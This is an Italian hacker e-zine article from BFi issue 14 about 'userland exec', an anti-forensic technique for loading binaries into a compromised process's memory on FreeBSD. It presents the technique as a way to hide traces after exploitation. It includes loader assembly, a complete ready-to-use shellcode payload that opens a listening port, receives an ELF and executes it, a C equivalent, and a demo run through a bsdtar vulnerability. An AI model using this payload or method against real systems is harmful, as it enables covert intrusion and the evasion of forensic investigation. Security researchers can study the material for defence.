Copy Link
Add to Bookmark
Report
BFi numero 14 file 08
==============================================================================
--------------------[ BFi14-dev - file 08 - 03/03/2008 ]----------------------
==============================================================================
-[ DiSCLAiMER ]---------------------------------------------------------------
Tutto il materiale contenuto in BFi ha fini esclusivamente informativi
ed educativi. Gli autori di BFi non si riterranno in alcun modo
responsabili per danni perpetrati a cose o persone causati dall'uso
di codice, programmi, informazioni, tecniche contenuti all'interno
della rivista.
BFi e' libero e autonomo mezzo di espressione; come noi autori siamo
liberi di scrivere BFi, tu sei libero di continuare a leggere oppure
di fermarti qui. Pertanto, se ti ritieni offeso dai temi trattati
e/o dal modo in cui lo sono, * interrompi immediatamente la lettura
e cancella questi file dal tuo computer * . Proseguendo tu, lettore,
ti assumi ogni genere di responsabilita` per l'uso che farai delle
informazioni contenute in BFi.
Si vieta il posting di BFi in newsgroup e la diffusione di *parti*
della rivista: distribuite BFi nella sua forma integrale ed originale.
------------------------------------------------------------------------------
-[ HACKiNG ]------------------------------------------------------------------
---[ WEAP0NiZE Y0UR SELF ]----------------------------------------------------
-----[ snagg <snaggATopensslDOTit> ]------------------------------------------
Introduzione
Nell'articolo verra' esposta una tecnica di data contraception[1] gia'
conosciuta da tempo, la userland exec ed alcuni suoi interessanti usi.
Capita spesso di avere un'applicazione vulnerabile su una macchina che aspetta
solo di essere sfruttata, resta ovviamente il problema di riuscire a nascondere
le proprie tracce dopo averlo fatto (Encase e' dietro l'angolo); questo e'
l'obiettivo dell'antiforense. Tra le tecniche di antiforense esistono quelle
che cercano di nascondere i dati sebbene essi siano presenti sulla macchina e
quelle che cercano di evitare di crearne, la data contraception e' una di
queste.
Supponiamo che io abbia un pezzo di codice (un log cleaner, una backdoor, un
altro exploit locale per una vulnerabilita' che mi garantira' uid 0) e non
voglia che questo venga trasferito sulla macchina della vittima, sarebbe bello
poter injectare del codice in memoria senza lasciare tracce sull'hard disk;
questo e' cio' che si propone di fare la userland exec.
Userland, SELF and such
Quando vogliamo lanciare un programma tipicamente su un sistema UNIX viene
invocata una syscall (execve) che si occupa di creare uno stack adeguato per
la nostra applicazione, leggere l'ELF ed eseguirlo. The grugq[1] ha dimostrato
come sia possibile evitare di scomodare il kernel e fare in modo che tutte le
azioni svolte dal kernel vengano fatte ad user space, dunque ci si occupera'
di creare uno stack adeguato, si leggera' l'ELF e lo si carichera' esattamente
dove si aspetta di essere, per fare questo the grugq si era basato su
un'"interfaccia" a gdb[1]. Tuttavia risulta poco probabile che su una macchina
in produzione si trovi gdb, che un processo del genere non venga "notato" da
un qualunque sysadmin e in particolar modo che non si possano creare delle
"signature" per i comandi che vengono inviati a gdb. Nasce cosi' SELF[2], in
questo caso non viene usato alcun tipo di tool presente sulla macchina da
attaccare, ma si crea un pezzo di codice che faccia da loader del binario
che vogliamo caricare in memoria, in questo modo avremo un perfetto vettore di
attacco che puo' funzionare in condizioni "reali", si pensi ad esempio ad un
ambiente chroot o ad un server, senza destare sospetti di sorta. Per ulteriori
informazioni su SELF e per non perdere parti importanti di quanto diremo in
seguito siete calorosamente invitati a leggere la [2].
SELF-analysis
Prima di procedere oltre nell'articolo sara' necessario spiegare l'esatto
funzionamento di questo oggetto. Un Elf e' una struttura molto complessa al cui
interno sono contenuti, tra le altre cose, i program header; essi sono
fondamentali quando si vuole far eseguire un binario. Infatti al loro interno
e' indicata la struttura del programma stesso[3].
Come gia' accennato nell'introduzione, quando viene chiamata l'execve il kernel
si occupa, tra le altre cose, di creare uno stack iniziale per il nuovo
binario. Lo stack sara' costituito dalle variabili d'ambiente, gli argomenti da
linea di comando e il numero degli argomenti (tipicamente argv e argc), tutto
cio' strutturato in una maniera "standard".
Quindi se volessimo lanciare un binario senza interpellare il kernel cio' che
dovremmo fare sarebbe creare uno stack identico a quello che avrebbe creato il
kernel per il nostro ELF, leggere i program header e copiare i segmenti di
codice del binario dove si aspettano di essere copiati. Le parti che
compongono SELF (un payload, un autoloader e l'ELF da injectare) si occupano
di compiere queste operazioni affiancati dalla magnanimita' dei processi
residenti e dalle loro vulnerabilita'.
Infatti il payload verra' usato come shellcode di un exploit che ci garantira'
l'accesso allo spazio di un processo vittima, in seguito si mettera' in
ascolto su una porta in attesa che gli venga consegnato l'ELF. Questo a suaELF
Unica constraint di questo bellissimo oggetto e' quella di poter caricare solo
ELF statici.
One step ahead
Ora il lettore attento si potra' chiedere "ma per quale assurdo motivo questo
tipo sta scrivendo un howto su un tool di altri"?
In realta' sebbene l'idea dietro SELF sia decisamente buona, l'implementazione
soffre di alcune problematiche su qualunque sistema che non sia Linux 2.4;
nello specifico l'autore era interessato a far funzionare il tutto su FreeBSD
6.2 x86.
Sommariamente ho accennato prima a due cose molto importanti, ovvero "un ELF
ha una struttura molto complessa" e "l'ELF verra' a sua volta modificato per
contenere al suo interno un loader", combiniamo insieme le due cose e
riportiamole su un piano meno astratto: dove metto delle informazioni su un
pezzo di codice in un ELF in modo tale che sia facilmente raggiungibile da un
piccolo payload?
La risposta, come detto prima, e' dove metterei le informazioni di qualunque
altro codice: in un program header.
Qui inizia il primo problema, l'ABI di FreeBSD e quella di Linux non
coincidono, vediamo perche':
snagg@freebsd ~$ readelf -l test
Elf file type is EXEC (Executable file)
Entry point 0x80483cc
There are 5 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
LOAD 0x000000 0x08048000 0x08048000 0x005fd 0x005fd R E 0x1000
LOAD 0x000600 0x08049600 0x08049600 0x000d8 0x000f8 RW 0x1000
Questa e' come appare la program header table di un ELF statico su FreeBSD.
Mentre questa e' quella di un eseguibile Linux:
snagg@linux ~ $ readelf -l test
Elf file type is EXEC (Executable file)
Entry point 0x8048130
There are 6 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
LOAD 0x000000 0x08048000 0x08048000 0x6ec16 0x6ec16 R E 0x1000
LOAD 0x06ec18 0x080b7c18 0x080b7c18 0x007bc 0x021d0 RW 0x1000
NOTE 0x0000f4 0x080480f4 0x080480f4 0x00020 0x00020 R 0x4
TLS 0x06ec18 0x080b7c18 0x080b7c18 0x00010 0x00028 R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
PAX_FLAGS 0x000000 0x00000000 0x00000000 0x00000 0x00000 0x4
Per quanti di voi non abbiano letto la [3] basti sapere che i program header
di tipo LOAD sono fondamentali per l'esecuzione di un ELF e dunque non
possono essere sovrascritti. A questo punto apparira' chiaro all'orizzonte il
problema: su FreeBSD non ci sono program header "inutili". Ci restano due
strade:
1) aggiungere all'ELF manualmente un program header con tutto quello che
comporta;
2) fare in modo che non sia realmente necessario un program header tutto per
noi.
La prima strada e' decisamente poco praticabile, infatti se cambiassimo la
struttura della program header table andremmo incontro ad un grosso problema,
quello di dover rilocare tutto il codice. La magia di SELF si basa sulla
possiblita' di poter copiare il codice dove si aspetta di essere copiato,
altrimenti dei jump assoluti, chiamate assolute e quant'altro non sarebbero
piu' al loro posto obbligandoci a dover rilocare il codice, cosa decisamente
non banale. Si tratterebbe di vedere dove l'ELF verra' copiato e trovare il
modo di costruire l'ELF con i nuovi indirizzi.
Per quanto riguarda la seconda possibilita', resta il problema di dove trovare
le informazioni necessarie per rintracciare lo stack pre-confezionato, capire
quando copiarlo e dove, questo codice spiega meglio cio' che voglio dire:
.loader_next_phdr:
// Check program header type (eax): PT_LOAD or PT_STACK
movl (%edx),%eax
// If program header type is PT_LOAD, jump to .loader_phdr_load
// and load the segment referenced by this header
cmpl $PT_LOAD,%eax
je .loader_phdr_load
// If program header type is PT_STACK, jump to .loader_phdr_stack
// and load the new stack segment
cmpl $PT_STACK,%eax
je .loader_phdr_stack
// If unknown type, jump to next header
addl $PHENTSIZE,%edx
jmp .loader_next_phdr
For each PT_LOAD segment (text/data) do the following:
* loading step 1.4: continue with next header:
addl $PHENTSIZE,%edx
jmp .loader_next_phdr
* loading step 2: when both text and data segments have been loaded
correctly, it's time to setup a new stack:
.loader_phdr_stack:
movl PHDR_OFFSET(%edx),%esi
addl %ebp,%esi
movl PHDR_VADDR(%edx),%edi
movl PHDR_MEMSZ(%edx),%ecx
repz movsb
Questo e' il segmento di codice che si occupa di caricare in memoria il nuovo
ELF, nello specifico il nuovo stack. Come si puo' vedere vengono parsati i
program header quelli di tipo LOAD vengono copiati in memoria mentre quando ne
viene trovato uno di tipo PT_STACK (tipologia creata dagli autori di SELF per
indicare il program header che contiene lo stack) viene copiato il nuovo stack
sullo stack precedente in modo tale che esso sia inizializzato con le
variabili dell'ELF che vogliamo lanciare. Come possiamo vedere in ph->offset,
ph->vaddr e ph->memsz sono salvati alcuni indirizzi fondamentali che ci
permettono di sapere dove e da dove copiare lo stack.
Dunque dobbiamo trovare dei campi all'interno dell'ELF dove salvare le
informazioni che ci interessano. Dopo un'attenta lettura sugli ELF ho scoperto
che alcuni cambi dell'header principale non sono esattamente "vitali" per
l'esecuzione e che invece di parsare tutti i program header vi era un modo
banale di capire quando "fermarsi" e passare alla copia del nostro stack,
infatti onde evitare di creare un codice mastodontico ci serve un modo facile
di rintracciare all'interno della struttura dell'ELF un contatore che ci
indicasse quando saltare al codice che copia lo stack. Sfruttando il fatto che
le uniche informazioni necessarie ad un ELF per essere lanciato sono i program
header load e che all'interno della struttura principale vi e' un contatore di
program header, giungiamo a questo codice:
.loader_next_phdr:
movl (%edx),%eax
cmpb $0, EHDR_PHNUM(%ebp)
je .loader_phdr_stack
decb EHDR_PHNUM(%ebp)
// If program header type is PT_LOAD, jump to .loader_phdr_load
// and load the segment referenced by this header
cmpl $PT_LOAD,%eax
je .loader_phdr_load
// If unknown type, jump to next header
addl $PHENTSIZE,%edx
jmp .loader_next_phdr
.loader_phdr_stack:
movl EHDR_SHOFF(%ebp),%esi //just the new location of the whole
//stack (EHDR *)
addl %ebp,%esi
movl EHDR_FLAGS(%ebp),%edi
movl EHDR_VERSION(%ebp),%ecx
repz movsb
Per prima cosa invece di leggere tutti i program header finche' non si trova
lo stack, usiamo un contatore che ci e' naturalmente fornito dall'ELF stesso
eh->phnum e lo decrementiamo finche' non finiscono i program header, finito di
copiare quelli di tipo PT_LOAD si arriva a copiare lo stack, per fortuna un
header ELF e' pieno di campi non sempre utili. Dunque avremo in eh->shoff
eh->flags ed eh->version le informazioni che prima erano contenute nei campi
del program header; in questo modo siamo in grado di copiare lo stack senza
doverci curare del comportamento dell'ABI del sistema operativo.
Vi invito a leggere il codice in allegato per capire meglio la funzione di
questo segmento di codice e del restante che non ho mostrato.
Weaponize
Risolto questo primo problema ve ne era un altro, ovvero: non esisteva nessun
payload pronto per essere lanciato sulla macchina da attaccare. Eccolo qui:
"\x55\x89\xe5\x53\x83\xec\x44\x83"
"\xe4\xf0\x31\xc0\x83\xc0\x0f\x83"
"\xc0\x0f\xc1\xe8\x04\xc1\xe0\x04"
"\x29\xc4\x83\xec\x04\x31\xd2\x52"
"\x52\x6a\xff\x66\xb9\x02\x10\x51"
"\x31\xc9\x6a\x07\xb9\x01\xe1\xf5"
"\x05\x51\x31\xc9\x52\x31\xc0\xb0"
"\xc5\x50\xcd\x80\x83\xc4\x20\x89"
"\x45\xc4\xc6\x45\xc9\x02\x83\xec"
"\x0c\x66\xb8\xae\x08\x66\x89\xc1"
"\x66\x89\xc8\x86\xe0\x0f\xb7\xc0"
"\x66\x89\x45\xca\x89\x55\xcc\x83"
"\xec\x04\x52\x6a\x01\x6a\x02\x31"
"\xc0\xb0\x61\x50\xcd\x80\x83\xc4"
"\x10\x89\x45\xf0\x83\x7d\xf0\xff"
"\x75\x0c\x83\xec\x0c\x6a\xff\x31"
"\xc0\xb0\x01\x50\xcd\x80\x83\xec"
"\x04\x6a\x10\x8d\x45\xc8\x50\xff"
"\x75\xf0\x31\xc0\xb0\x68\x50\xcd"
"\x80\x83\xc4\x10\x83\xf8\xff\x75"
"\x0c\x83\xec\x0c\x6a\xff\x31\xc0"
"\xb0\x01\x50\xcd\x80\x83\xec\x08"
"\x6a\x0a\xff\x75\xf0\x31\xc0\xb0"
"\x6a\x50\xcd\x80\x83\xc4\x10\x83"
"\xf8\xff\x75\x0c\x83\xec\x0c\x6a"
"\xff\x31\xc0\xb0\x01\x50\xcd\x80"
"\x83\xec\x04\x52\x52\xff\x75\xf0"
"\x31\xc0\xb0\x1e\x50\xcd\x80\x83"
"\xc4\x10\x89\x45\xec\x83\x7d\xec"
"\xff\x75\x0c\x83\xec\x0c\x6a\xff"
"\x31\xc0\xb0\x01\x50\xcd\x80\x89"
"\x55\xe8\xb1\xfe\x39\x4d\xe8\x7f"
"\x3e\x31\xc0\x50\x50\x6a\x02\x6a"
"\x04\x8d\x45\xf4\x50\xff\x75\xe8"
"\x31\xc0\xb0\x1d\x50\xcd\x80\x83"
"\xc4\x10\x83\xf8\x04\x75\x1a\x8d"
"\x45\xf4\x83\xec\x04\x80\x78\x01"
"\x45\x75\x0e\x80\x78\x02\x4c\x75"
"\x08\x80\x78\x03\x46\x75\x02\xeb"
"\x06\x83\x45\xe8\x01\xeb\xbb\x31"
"\xc0\x50\x50\x6a\x40\x68\x01\xe1"
"\xf5\x05\xff\x75\xc4\xff\x75\xe8"
"\x31\xc0\xb0\x1d\x50\xcd\x80\x83"
"\xc4\x10\x8b\x45\xc4\x83\xc0\x09"
"\x89\x45\xe4\x8b\x4d\xe4\x8b\x55"
"\xe4\x8b\x45\xc4\x03\x02\x89\x01"
"\x8b\x4d\xc4\x8b\x45\xe4\x8b\x18"
"\x51\xff\xe3\x31\xc0\x8b\x5d\xfc"
"\xc9\xc3\x90\x90\x55\x89\xe5\x53"
"\x52\xbb\x84\x97\x04\x08\xa1\x84"
Questa quantita' gigantesca di codice non fa altro che allocare dello spazio
nello heap dove salvare l'ELF , aprire una porta e mettersi in ascolto per
ricevere il binario infine saltare all'indirizzo in cui e' salvato
l'autoloader (che per comodita' e' stato semplicemente concatenato alla fine
dell'ELF da injectare).
Per renderlo piu' comprensibile di seguito vi e' il codice C:
buf = (unsigned char*)mmap(0, MAX_OBJECT_SIZE,
PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, -1, 0);
addr.sin_family = AF_INET;
addr.sin_port = htons(atoi(argv[1]));
addr.sin_addr.s_addr = 0;
if ((sfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket()");
exit(errno);
}
if (bind(sfd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in))
== -1) {
perror("bind()");
exit(errno);
}
if (listen(sfd, 10) == -1) {
perror("listen()");
exit(errno);
}
if ((nsfd = accept(sfd, NULL, NULL)) == -1) {
perror("accept()");
exit(errno);
}
for (i = 0 ; i < 255 ; i++) {
if (recv(i, tmp, 4, MSG_PEEK) == 4) {
if (!strncmp(&tmp[1], "ELF", 3)) break;
}
}
recv(i, buf, MAX_OBJECT_SIZE, MSG_WAITALL);
ldr_ptr = (unsigned long *)&buf[9];
*ldr_ptr += (unsigned long)buf;
__asm__(
"push %0\n"
"jmp *%1"
:
: "c"(buf),"b"(*ldr_ptr)
);
Real-life
Nell'esempio usero' una vulnerabilita' di bsdtar (CVE-2007-3641), il poc
(scritto da me e Raistlin) non e' pubblico. A grandi linee si crea un archivio
pax malformato. Al suo interno inseriremo il nostro payload, e qui i
risultati:
snagg@zero $ file /usr/ports/security/nmap/work/nmap-4.20/nmap
/usr/ports/security/nmap/work/nmap-4.20/nmap: ELF 32-bit LSB executable, Intel
80386, version 1 (FreeBSD), statically linked, not stripped
Ci assicuriamo che l'ELF che stiamo caricando sia statico
snagg@one $ uname -a
FreeBSD one 6.2-RELEASE FreeBSD 6.2-RELEASE #0: Mon Jun 25 11:15:26 CEST 2007
i386
La nostra FreeBSD
snagg@one $ /usr/ports/archivers/libarchive/work/libarchive-2.2.3/bsdtar -xvf
exploit_bsdtar_new.pax
Lanciamo l'exploit sulla macchina vittima
snagg@zero $ ./builder 192.168.2.50 2222
/usr/ports/security/nmap/work/nmap-4.20/nmap ";192.168.2.10" ""
E il builder (il programma che si occupa di creare l'ELF) dalla macchina
attaccante
Starting Nmap 4.20 ( http://insecure.org ) at 2007-12-20 10:32 CET
Unable to find nmap-services! Resorting to /etc/services
Interesting ports on xxx (192.168.2.10):
Not shown: 1459 closed ports
PORT STATE SERVICE
22/tcp open ssh
Nmap finished: 1 IP address (1 host up) scanned in 0.484 seconds
Questo l'output sulla macchina vittima. Ovviamente al posto di nmap poteva
essere lanciata qualunque altra cosa, e' interessante inoltre notare che non
solo non vengono lasciate instanze del codice sulla macchina vittima, ma non
si fa ricorso al kernel quindi si evita qualunque problema di execve trapping
e last but not least l'unico modo per discriminare il comportamento di bsdtar
da quello di nmap dopo l'injection e' quello di fare tracing delle syscall,
null'altro e' cambiato del processo vittima.
Conclusioni
Ancora molto potrebbe essere fatto, modificare il tutto per farlo andare su
sistemi operativi con la randomizzazione dello stack, fare in modo che l'ELF
quando viene inviato sia crittato e poi decrittato dal payload (grazie twiz),
etc etc. C'e' solo la vostra fantasia da far lavorare, io mi fermo qui.
Per qualunque consiglio/critica/quelchevolete vi prego di scrivermi.
Ringraziamenti
Prima di tutto a Ga che mi sopporta continuamente, poi a Raistlin e Phretor
(tnx bro, anche voi per la capacita' di sopportarmi), Zen (non credo tu sappia
perche' :)), Nextie, Nose e Rookie per i consigli e i ragazzi di BFi per
avermi permesso di scrivere (specie twiz per i consigli, se l'articolo e'
human-readable e' grazie a lui).
Reference
[1] FIST! FIST! FIST! Its all in the wrist: Remote Exec, the grguq
http://www.phrack.org/issues.html?issue=62&id=8
[2] Advanced Antiforensics : SELF, pluf & ripe
http://www.phrack.org/issues.html?issue=63&id=11
[3] The Executable and Linking Format (ELF)
http://www.cs.ucdavis.edu/~haungs/paper/node10.html
-[ WEB ]----------------------------------------------------------------------
http://bfi.s0ftpj.org [main site - IT]
http://bfi.slackware.it [mirror - IT]
http://bfi.freaknet.org [mirror - AT]
http://bfi.anomalistic.org [mirror - SG]
http://bfi.teamcobalt.org [mirror - USA]
-[ E-MAiL ]-------------------------------------------------------------------
bfi@s0ftpj.org
-[ PGP ]----------------------------------------------------------------------
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i
mQENAzZsSu8AAAEIAM5FrActPz32W1AbxJ/LDG7bB371rhB1aG7/AzDEkXH67nni
DrMRyP+0u4tCTGizOGof0s/YDm2hH4jh+aGO9djJBzIEU8p1dvY677uw6oVCM374
nkjbyDjvBeuJVooKo+J6yGZuUq7jVgBKsR0uklfe5/0TUXsVva9b1pBfxqynK5OO
lQGJuq7g79jTSTqsa0mbFFxAlFq5GZmL+fnZdjWGI0c2pZrz+Tdj2+Ic3dl9dWax
iuy9Bp4Bq+H0mpCmnvwTMVdS2c+99s9unfnbzGvO6KqiwZzIWU9pQeK+v7W6vPa3
TbGHwwH4iaAWQH0mm7v+KdpMzqUPucgvfugfx+kABRO0FUJmSTk4IDxiZmk5OEB1
c2EubmV0PokBFQMFEDZsSu+5yC9+6B/H6QEBb6EIAMRP40T7m4Y1arNkj5enWC/b
a6M4oog42xr9UHOd8X2cOBBNB8qTe+dhBIhPX0fDJnnCr0WuEQ+eiw0YHJKyk5ql
GB/UkRH/hR4IpA0alUUjEYjTqL5HZmW9phMA9xiTAqoNhmXaIh7MVaYmcxhXwoOo
WYOaYoklxxA5qZxOwIXRxlmaN48SKsQuPrSrHwTdKxd+qB7QDU83h8nQ7dB4MAse
gDvMUdspekxAX8XBikXLvVuT0ai4xd8o8owWNR5fQAsNkbrdjOUWrOs0dbFx2K9J
l3XqeKl3XEgLvVG8JyhloKl65h9rUyw6Ek5hvb5ROuyS/lAGGWvxv2YJrN8ABLo=
=o7CG
-----END PGP PUBLIC KEY BLOCK-----
==============================================================================
-----------------------------------[ EOF ]------------------------------------
==============================================================================